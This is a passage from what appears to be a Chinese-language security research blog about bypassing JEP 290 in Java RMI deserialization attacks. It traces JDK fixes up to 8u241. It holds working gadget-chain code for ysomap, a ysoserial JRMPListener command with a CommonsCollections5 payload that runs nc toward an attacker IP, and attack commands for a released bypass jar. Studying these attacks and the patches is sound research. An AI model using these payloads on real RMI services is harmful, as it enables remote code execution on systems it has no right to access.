private boolean enableReplace;
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
...
if (enableReplace) {//都是true
...
}
...
}
那么其实我们只要用反射机制,在序列化前把out对象的enableReplace属性修改为false就可以了(这需要重新实现bind查询,来进行修改)。大概如下:
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // 写入我们的对象
这些绕过我都已经在ysomap中完成了实现。(没错看到后面,你会发现一开始打算自己做的,然后发现ysomap已经完成了一部分,秉着打不过他就加入他的原则,开始为ysomap添砖加瓦)
4.带UnicastRef类型参数的实现Remote接口的类—自定义
但是如果我们回忆之前的出的结论:
反序列化打服务端,可以使用一个服务端不存在的类。在这个服务端不存在的类的变量中放入payload,这个payload会在服务端反序列化这个不存在的类的时候触发,虽然会报错,但是会触发。
我们实际上之前做的所有的研究都是无用功,因为我们压根不用去找一个存在于JDK中的类去满足条件来进行攻击,而是自己写一个就可以了。
这个结论让我非常沮丧,我也希望有人告诉我不是这样的,但是实验结果就是如此,他就是可以攻击成功。我甚至打包了没有包含自定义的类的jar放到远程服务器上,但是仍然可以。
实现一个可以序列化的remote接口的类,然后正常攻击
public static class lala_remote implements Remote, java.io.Serializable {
private RemoteRef ref;
public lala_remote(UnicastRef remoteref) throws Throwable {
ref=remoteref;
}
}
可以注意到不是RemoteStub接口,自实现的类会满足上卖弄整理的第三种情况,不会被替换对象。
又是报错报着找不到class,但是弹框成功。
远程的(用8u111)。
也是非常有趣,大家都是用已经写好的poc、ysoserial,但实际上.......随便搞搞就可以用了。
此处为ysomap添加了一个自定义类的模块RMIConnectCustomized,来证明可行性。
bind的局限性
好的,重新整理心情。来讨论随便的bind的局限性。
当我们在本地进行试验的时候,使用高于8u141的版本也是可以命令执行的。这会形成一种不受版本限制的错觉。
但实际上在远程攻击的时候,这种攻击是有局限性的。
- 我们把github的代码打包一下,放到远程服务器上,运行靶机
java -cp RMIDeserialize.jar com.lala.ServerAndRegister
(服务器会有危险) - 服务端再起一个JRMP-Listener。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11 CommonsCollections5 "nc 47.102.137.xxx:10000"
(用nc来表示命令执行。ps.讲道理不应该在靶机上起一个攻击者的攻击用服务,但是我没有更多的服务器了...) nc -lvvp 10000
服务器通过nc监听来判断命令执行是否成功- 本地Bypass290代码改成远程攻击端口
- 运行Bypass290攻击
服务器8u131环境成功。
服务器8u161失败
回忆之前的说明,原因同样是bind操作中注册端对于服务端的地址验证。
那么根据之前的结论,我们可以通过lookup来替换bind操作来进行攻击,这样可以绕过bind操作中对于服务端得地址验证。
与RMI客户端反序列化攻击RMI服务端-Lookup结合
这边参照Barmie的bind攻击思路,使用拦截器来替换攻击包的字节码,来自己重构一个攻击包的字节码。这个思路非常底层和繁琐,但是理论上可以绕过所有客户端限制逻辑。
基于Barmie拦截器的自实现
我把Barmie的拦截器逻辑拔了出来,放到了Github的RMI-Bypass290项目下。
在Barmie的原逻辑中,拦截器中字节码的拼接非常简单粗暴,他会保留一些包头固定格式,然后修改参数。通常都是直接复制成功的poc的16进制字节码,然后修改其中命令执行的16进制代码,再拼接进入数据包进行发送。比如CC的payload是这样:
private final String _header_chunk = "737200116a6176612e757469....";//开头的序列化信息
private final String _footer_chunk = "740004657865637571007e00....";//结尾的序列化信息
//开头塞进去
out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection));
//自定义添加要执行的String形式的命令
out.write(this.stringToUtf8ByteArray(cmd));
//结尾塞进去
out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection));
我们的Remote接口的对象原本也可以按照这个思路,找一个成功的数据包,然后修改其中的JRMP服务器回连IP和端口就行了。
但是对比JRMP服务器地址:888.888.888.888:8887、888.888.888.888:8888两次攻击数据包发现:
JRMP服务器回连IP可以简单进行修改,但是端口却是不可以显性直接进行修改的。
那么就尝试自己去构造一个序列化对象(由于要与攻击成功数据包进行对比,我们就是用序列化结构更通用的RMIConnectionImpl_Stub类。因为使用自实现类,不同地方包名会不一样不方便)
写完代码后,发现直接序列化不能正常利用攻击,与攻击成功数据包对比发现需要修正000078->00007078。(这里应该是不同的输入流对象对于序列化的处理不同导致的)
重新微调,在payloads.BypassJEP290_RMIConnectionImpl_Stub#getBytes
中进行类实现。
//使用RMIConnectionImpl_Stub类
RMIConnectionImpl_Stub RMIConnectionImpl_Stub_obj = new RMIConnectionImpl_Stub(ref);
//序列化,同时修正000078->00007078
byte[] serial_Primary=serialize(RMIConnectionImpl_Stub_obj);
//除去aced开头(序列化开头)
byte[] serial_byte= new byte[serial_Primary.length-4];
System.arraycopy(serial_Primary, 4, serial_byte, 0, serial_byte.length);
//填入传输流
out.write(this.fixReferences(serial_byte));
完毕。打包成jar发布在github的release中了。
java -jar RMI-Bypass290.jar 47.xx.xx.xx 1099 47.xx.xx.xx 1199
(前者攻击目标IP和端口,后者JRMP服务器IP和端口)直接测试服务端161版本。
重实现lookup逻辑
虽然工具完成了,但是这么实现着实费劲,一开始以为压根没有人实现这个工具,最后发现wh1tp1g已经集成到他的ysomap中了(然后打不过他就加入了他= =).
而且实现的方法更为聪明,只是做了上层lookup函数的重写,这样子就实现起来就很简单简洁,且不用考虑底层字节的各种情况。
ysomap.core.exploit.rmi.component.Naming#lookup
直接把原来的接口lookup(String)
调成lookup(Object)
(实现不是如此,逻辑是如此,数据包封装的逻辑实际上直接照搬过来就可以了)
//多加了个registry参数,然后自己实现部分固定值的获取
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
try {
....//之后就跟原来的lookup一样了
//同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
8u231的修复
选取了两个版本8u211b12和8u231b11进行测试,使用自定义类的payload模块,8u211可以攻击,8u231不能攻击。
其中8u231b11版本是从Oracle官网下载的。
如果从openjdk中查找更新的具体版本,那就是8u232b09(感谢wh1t3p1g)
其实一直没搞懂为啥这个版本号的问题,为啥openjdk里没有8u231呢,如果有人知道希望可以回复我谢谢。
先看测试结果。
对比JDK做了两处修复:
sun.rmi.registry.RegistryImpl_Skel#dispatch
报错情况消除refsun.rmi.transport.DGCImpl_Stub#dirty
提前了黑名单
第一处修复
在openjdk中可以在线查看对比8u232u8的RegistryImpl_Skel.java与8u232u9的RegistryImpl_Skel.java
其实只有一行的区别,在每个动作比如lookup,bind等中都添加了一个逻辑:如果出现了序列化报错都会进入catch,执行discardPedingRefs
。
在sun.rmi.transport.StreamRemoteCall#discardPendingRefs
中其实也就是做了一件事情,把我们之前装载的incomingRefTable
清空
public void discardPendingRefs() {
this.in.discardRefs();//去下面
}
//sun.rmi.transport.ConnectionInputStream#discardRefs
void discardRefs() {
this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
}
那么很清楚假如我们的payload在序列化中发生了报错,那么我们想尽办法装载的ref就会被干掉。再回头看看我们的那么多种payload都会报错么?
自定义类(动态代理或接口):报错ClassNotFoundException
因为我们传入的类虽然会完成装载,但是在后续的序列化逻辑中肯定是会因为找不到我们的恶意类而发生ClassNotFoundException报错的。
被干掉了。
动态代理转换接口或者找内置接口:报错ClassCastException
而其他的payload虽然因为都是有内置类的,这些内置类在序列化的时候
var9.readObject();
是没问题的。但是这里还有一个类型转换的逻辑
var8 = (String)var9.readObject();
在类型转换的时候就会发生报错。从而也被干掉了。
第二处修复
实际上第一处修复已经完美修复了,但是还有第二处修复针对的是ref被触发的时候,即var7.releaseInputStream();
回顾UnicastRef对象
这一小节,重新看我们POC触发的调用栈图的左下角,它必定会经过sun.rmi.transport.DGCImpl_Stub#dirty
在openjdk中可以在线查看对比8u232u8的DGCImpl_Stub.java与8u232u9的DGCImpl_Stub.java
在dirty方法中三个关键语句:
this.ref.newCall
:发起JRMP请求var6.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
:过滤this.ref.invoke()
:触发JRMP返回payload反序列化解析
把过滤器放在解析之前,那么JRMP请求是可以发起的,但是你最后命令执行的payload(比如CC)会被过滤器给干掉。
看下过滤器sun.rmi.transport.DGCImpl_Stub#leaseFilter
:一样对长度、深度、黑名单做了限制
我们的payload用的是CC链,不在白名单范围内,于是GG。
if (var1.isPrimitive()) {
return Status.ALLOWED;
} else {
return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
}
来自An Trinh的另一种绕过JEP290的思路
今年2月份,An Trinh的RMI注册端的Bypass方法一文中提出了一种新的Bypass思路,这是一条与众不同的而又"鸡肋"的Gadgets。
上面这句话是一天前年幼无知的我写的,大胆而又无知的说"鸡肋"。一天之后回来想删掉,但是想想还是放着在下面打脸好了。
这条链比之前的都要牛逼可以继续绕过231修复,先按照这个思路看下去,提前膜拜大An Trinh佬。
为什么要说鸡肋呢,先回顾一下我们之前是如何绕过JEP290的:
攻击者发送payload让RMI注册端发起一个JRMP请求去链接我们的JRMP服务器,然后接受并反序列化我们JRMP服务器返回的报错信息,反序列化的时候通过RMI注册端内部的利用链(比如CC)完成命令执行
An Trinh的绕过思路还是这个套路,JRMP的部分一模一样没有改变,与我们之前不同的是如何让RMI注册端发起JRMP请求这一部分。
之前我们提出许多许多攻击方式:绕过客户端-自实现协议去封装、动态代理、UnicastRef类型参数实现Remote接口的类等等、甚至可以自定义一个符合要求的类来攻击。
但是回归到这些攻击方式,其本质都是利用:
- readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
- 在readobejct反序列化的过程中填装UnicastRef类到
incomingRefTable
- 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求
(后两步是发起JRMP请求的细节,在 UnicastRef对象 一节中有详细说到,可以粗糙的理解成readobject出发了JRMP查询也没事)
在这个本质的基础上,我们所做的、所解决的问题只是在:选择UnicastRef类包装或者不包装(包装是为了迎合JDK客户端底层的代码)、用jdk中已有的类包装还是自定义类包装,或者用动态代理包装还是原生接口包装,又再是用什么原生接口包装,有的包装不好用怎么办?巴拉巴拉的在处理这些问题。
但是An Trinh提出了一个新的思路来发起JRMP请求,不是利用readobject的递归-填装-触发的模式,而是readobject函数调用过程直接触发JRMP请求。
但是为什么说他鸡肋呢?因为他的payload攻击过程中:会在readobject函数中触发他的Gadgets发起JRMP连接,但是在完成后,又会回到我们的readobject的递归-填装-触发的模式中发起第二次JRMP连接。具体流程如下:
- readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到
incomingRefTable
- 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
- 在releaseInputStream语句中从
incomingRefTable
中读取ref进行开始JRMP请求
同时他Gadgets发起JRMP请求只会发起一次请求,而readobject的递归-填装-触发的JRMP请求,由于会检测DGC是否绑定成功会循环发起JRMP,形成天然的心跳木马。
那么这样对比看起来这个Gadgets就有一种画蛇添足的感觉,一种混KPI的鸡肋优雅感(天呐一天前的我竟然得出了如此羞耻的结论,辣鸡的傲慢),这就是安全研究员么,爱了爱了。
但是反正让我找我是找不出来的,我们就来膜拜看看他的链在UnicastRemoteObject的readObject中是怎么做到JRMP请求的。
先给出ysomap里的封装过程:
public UnicastRemoteObject pack(Object obj) throws Exception {
//1.UnicastRef对象 -> RemoteObjectInvocationHandler
//obj是UnicastRef对象,先RemoteObjectInvocationHandler封装
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) obj);
//2. RemoteObjectInvocationHandler -> RMIServerSocketFactory接口
//RemoteObjectInvocationHandler通过动态代理封装转化成RMIServerSocketFactory
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
//通过反射机制破除构造方法的可见性性质,创建UnicastRemoteObject实例
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
//3. RMIServerSocketFactory -> UnicastRemoteObject
//把RMIServerSocketFactory塞进UnicastRemoteObject实例中
ReflectionHelper.setFieldValue(remoteObject, "ssf", serverSocketFactory);
return remoteObject;
}
看下漏洞触发调用栈,主要分成三个关键点:
从UnicastRemoteObject的readObject入口开始java.rmi.server.UnicastRemoteObject#readObject
:
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();//这里
}
java.rmi.server.UnicastRemoteObject#reexport
:
private void reexport() throws RemoteException
{
if (csf == null && ssf == null) {
exportObject((Remote) this, port);
} else {
//payload是填充了ssf的,这里
exportObject((Remote) this, port, csf, ssf);
}
}
之后的调用链很长我们直接跳到sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
这里是第二个关键处动态代理的特性,跳转到拦截器的invoke(这里的动态代理是不仅用到了接口转换的特性,用到了拦截的特性!惊了!激动!)
sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
:
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
//var1就是我们的payload中构建的ssf.调用他的createServerSocket
//会根据动态代理进入RemoteObjectInvocationHandler#invoke
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
if (this.listenPort == 0) {
setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
}
java.rmi.server.RemoteObjectInvocationHandler#invoke
:
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
//method是java.rmi.server.RMIServerSocketFactory的createServerSocket方法
//....
//这边都不满足
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
//进入此处
return invokeRemoteMethod(proxy, method, args);
}
}
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
:
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
//我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
//这里开始了触发JRMP请求
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
令人激动的sun.rmi.server.UnicastRef#invoke
我们之前JRMP触发就是在这里触发的,但是之前是sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)
虽然接口是不一样,但是做的事情差不多
sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long)
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
//省略部分代码...
//从ref中获取连接
Connection var6 = this.ref.getChannel().newConnection();
StreamRemoteCall var7 = null;
boolean var8 = true;
boolean var9 = false;
Object var13;
try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + var4);
}
//********对ref发起JRMP请求**********
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
//处理结果
Object var11;
try {
ObjectOutput var10 = var7.getOutputStream();
this.marshalCustomCallData(var10);
var11 = var2.getParameterTypes();
for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
} catch (IOException var39) {
clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var39);
throw new MarshalException("error marshalling arguments", var39);
}
//*******JRMP服务端返回信息,反序列化触发处*******
var7.executeCall();
JRMP请求已经发起了并且返回包也收到了,接下来的报错信息饭反序列化触发点就一样了
sun.rmi.transport.StreamRemoteCall#executeCall
public void executeCall() throws Exception {
//..省略
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
//***这里触发反序列化JRMP服务端的返回的恶意对象***
var14 = this.in.readObject();
} catch (Exception var10) {
总结三个关键点:
- 利用readobject的复写特性执行UnicastRemoteObject的readObject
- 利用动态代理的拦截执行invoke的特性,在UnicastRemoteObject#readObject的调用链中执行
proxy对象.createServerSocket
跳到了RemoteObjectInvocationHandler的invoke方法 - RemoteObjectInvocationHandler的invoke方法可以根据内置的ref向外发起JRMP连接,再反序列化返回结果
妙呀妙呀,动态代理终于再也不是工具人了。
妙啊妙啊,大佬就是大佬。
复现—绕过8u231
利用ysomap的RMIConnectWithUnicastRemoteObject模块就可以惹。(也可以在源码的ysomap.core.exploit.rmi.NamingTest#lookup测试模块进行测试)
但是我们会发现........刚才用之前的readobject的递归-填装-触发绕过方法在8u231还会被完美拦截,这次却可以了.....
激动的搓手手!An Trinh NB!鸡肋个锤子鸡肋,这个绕过方式绕过了231u11版本!!!
我们来看看是如何做到的!同样从231u11的两处修复出发:
sun.rmi.registry.RegistryImpl_Skel#dispatch
报错情况消除ref
看上面的触发流程,你就知道为啥绕过了。
这项修复针对的是readobject的递归-填装-触发模式JRMP请求发起,在readobject中利用复写的Gadagets完全不受这个ref清除操作的影响。完美!sun.rmi.transport.DGCImpl_Stub#dirty
提前了黑名单
这是针对在JRMP触发链获取到JRMP服务器之后的一个黑名单拦截修复。
但是看看上面利用成功调用栈,会发现这个调用栈压根不走DGC层的dirty,而是直接调用了ref的invoke,相当于绕过了之前触发链的黑名单拦截。完美!
那么为什么这个Gadgets能绕过231u11的修复,我们也就清楚了。也不知道是无意为之还是刻意所为,这种每个地方都恰到好处的美感.......嘶.......
8u241的修复第一处
在8u241版本,针对这个绕过链进行了修复:修复说明在Oracle官网也有说明
重点就是把应该是String的地方从本来的(String)var9.readobject()
改成了
SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);
前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。
为什么荃湾不接受反序列化Object呢,调试跟进看readString里面:
private String readString() throws IOException {
try {
return (String) readObject(String.class);//进入此处
} catch (ClassNotFoundException cnf) {
throw new IllegalStateException(cnf);
}
}
调用了java.io.ObjectInputStream#readObject(java.lang.Class<?>)
,这个readString进来的接口跟我们平时调用readObject不一样:
//平时调用的
public final Object readObject()
throws IOException, ClassNotFoundException {
return readObject(Object.class);//我们平常会进入此处
}
readObject(Object.class);
与readObject(String.class);
在java.io.ObjectInputStream#readObject(type)
会进行一些无关竟要的操作然后传递type
进入java.io.ObjectInputStream#readObject0(type)
:
//8u241时这里,type传入String
private Object readObject0(Class<?> type, boolean unshared) throws IOException {
//...
case TC_OBJECT://我们输入的payload对象是一个Object
if (type == String.class) {
//8u241 type=String 直接在此处报错不进行反序列化了
throw new ClassCastException("Cannot cast an object to java.lang.String");
}
//之前的版本都是传入type=Object于是正常反序列化
return checkResolve(readOrdinaryObject(unshared));
//..
}
所以在8u241中,如果参数应该是String的反序列化点就直接拒绝了Object的反序列化,杜绝了我们的上面的Gadgets。
bind加上IP限制枷锁还可以用?
那么是不是所有地方都做了这种限制呢?其实也不是,重新看回sun.rmi.registry.RegistryImpl_Skel#dispatch
:
case 0:
//bind操作,权限检查
RegistryImpl.checkAccess("Registry.bind");
try {
var10 = (ObjectInputStream)var7.getInputStream();
var8 = SharedSecrets.getJavaObjectInputStreamReadString().readString(var10);
var81 = (Remote)var10.readObject();//这里还是正常的readObject
} catch (IOException | ClassNotFoundException | ClassCastException var78) {
var7.discardPendingRefs();
throw new UnmarshalException("error unmarshalling arguments", var78);
} finally {
var7.releaseInputStream();
}
发现bind中还是有可以反序列化的点的。但是这又回到了原来的问题:
bind由于RegistryImpl.checkAccess("Registry.bind");
这句话在8u141之后有注册端地址校验限制,我们之前也是想要绕过8u141的限制所以转战lookup。(同时rebind也一样)
那么我们可不可以接受IP限制,假设场景:RMI服务器与RMI注册端分离,我们获取了一台对方内网的RMI服务器然后去利用RMI反序列化攻击RMI注册端,是否在8u241的版本下可行呢?
- 使用bind通讯
- 使用An Trinh的UnicastRemoteObject链
- 由于使用到UnicastRemoteObject对象这就需要修改bind的底层协议使UnicastRemoteObject对象内容不会被覆盖,这就需要修改bind通讯。(在 绕过序列化过程中的替换使所有类均可用于攻击 一节中提到)
选取ysomap作为poc构造工具,参考lookup重构一个bind协议:
ysomap.core.exploit.rmi.component.Naming
public static Remote bind(Registry registry,String name, Object obj)
throws Exception {
//..一致
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 0, interfaceHash);//修改为0,bind接口编号
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace,处理覆盖问题
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(name);//随便写
out.writeObject(obj); // payload
//..
}
然后修改ysomap.core.exploit.rmi.RMIRegistryExploit
里面Naming.lookup(registry, remote);
为Naming.bind(registry, name,remote);
尝试攻击8u241
华丽失败
8u241的修复第二处
好吧,肯定是哪里有问题,0day就这样没了(狗头)。
问题在于8u241还修复了调用栈中的java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
方法。(复用调用栈的图,第三行)
对比下8u231和8u241:
添加了一处针对传入method的验证。
这个的method是从sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
的
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
由于动态代理特性过来的,method就是createServerSocket这个方法,然而它理所当然不是一个remote接口
public interface RMIServerSocketFactory {
public ServerSocket createServerSocket(int port)
throws IOException;
}
所以即使我们用bind绕过第一个修复,还是被第二个修复处给干掉了。
假如要硬趟着修复点过去,必须在UnicastRemoteObject的invoke的调用栈中,找到一个可控的同时方法还是remote的地方,再把它接到RemoteObjectInvocationHandler的invoke方法,从而满足这个修复点的验证。
太难,太难。
至此8u241之后针对RMI服务的反序列化攻击,就GG了......
小结&总结
针对利用JRMP反序列化绕过JEP290-bind:
- 反序列化打服务端,可以使用一个服务端不存在的类。在这个服务端不存在的类的变量中放入payload,这个payload会在服务端反序列化这个不存在的类的时候触发,虽然会报错,但是会触发。
- 指出了bsmali4师傅的文)中关于UnicastRemoteObject类不能用是因为ref属性为transient的错误。(在动态代理-RemoteObjectInvocationHandler一节中)
- 在利用JRMP反序列化绕过JEP290的Ysoserial的实现中,利用RemoteObjectInvocationHandler仍然使用动态代理是非必要的。
- 在利用JRMP反序列化绕过JEP290的Ysoserial的实现,利用服务端不存在的自定义的InvocationHandler是可行的。
针对利用JRMP反序列化绕过JEP290-lookup:
- 利用lookup,绕过了8u141的限制,从而真正完成了JEP290的版本绕过
来自An Trinh的另一种绕过JEP290的思路:
- 利用RemoteObjectInvocationHandler完全不同的触发点,绕过了8u231的修复,被8u241阻止了为所欲为。
最后总结:
参考
认真看了很多老哥的博客,先给全员点个赞:
写到一半的时候发现总体文章框架是跟attacking-java-rmi-services-after-jep-290雷同的,原来我想写的已经有人做过了,想想当作这篇文章详细版本好了,但是到后面发现还是发现了一些别人没有记录下来或没有细说的东西,比如自定义类,lookup绕过等。
在文章后半部分还大量参考了0kami的研究结果和An Trinh的绕过方式,膜拜。
此外paper这篇在第三点RMI的动态加载、第四点JNDI注入都花了比较多的笔墨,但是在对于第二点RMI服务端的反序列化攻击中,讨论了RMI客户端--攻击-->RMI服务端的情况,同时也是要求RMI服务端必须提供一个输入参数为Object的方法,客户端调用这个方法传入Object的payload。此外将RMI客户端--通过lookup攻击-->RMI注册端的情况点了一下(也就是我忽略了的注册端)。
threedr3am第一篇讲述了JNDI注入、RMI服务端---通过bind攻击--RMI注册端,导致RMI注册端被RCE(此处他文章中的标题与讲述内容不符,应该是标题写错了),JRMP的客户端与服务端攻击。
threedr3am第二篇细节分析了RMI客户端---通过lookup攻击--RMI注册端(以及注册端回打客户端)、RMI服务端---通过bind攻击--RMI注册端,点了一下RMI客户端---通过替换参数攻击--RMI服务端,重新分析了下JNDI注入关于Reference远程对象的细节(这里可能会出现误解,攻击场景是我们控制一个RMI服务端,我们要让RMI客户端(受害者)主动来new InitialContext().lookup
我们,这个lookup与RMI客户端查询RMI注册端的lookup不一样【前者的lookup=后者的lookup查询+会触发漏洞的解析过程】,最后导致客户端被RCE)、打注册端时在8u121之后的JDK存在黑名单,出现Yso-RMIClient、再是JNDI注入绕过。
afanti的Bypass JEP290攻击rmi与0c0c0f的RMI漏洞的另一种利用方式实际都是讲述了客户端攻击服务端解析参数时绕过Object的方法
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
译文:https://nosec.org/home/detail/2541.html
https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/
https://paper.seebug.org/1091/
https://www.anquanke.com/post/id/204740
https://www.anquanke.com/post/id/197829
https://www.anquanke.com/post/id/199481
https://blog.csdn.net/leehdsniper/article/details/71599504
http://www.hayasec.me/2018/03/21/java-rmi%E5%8F%8D%E5%BA%8F%E5%88%97%E9%97%B2%E8%B0%88/
https://www.anquanke.com/post/id/85681
https://www.freebuf.com/articles/web/214096.html
https://www.apiref.com/java11-zh/java.rmi/java/rmi/dgc/DGC.html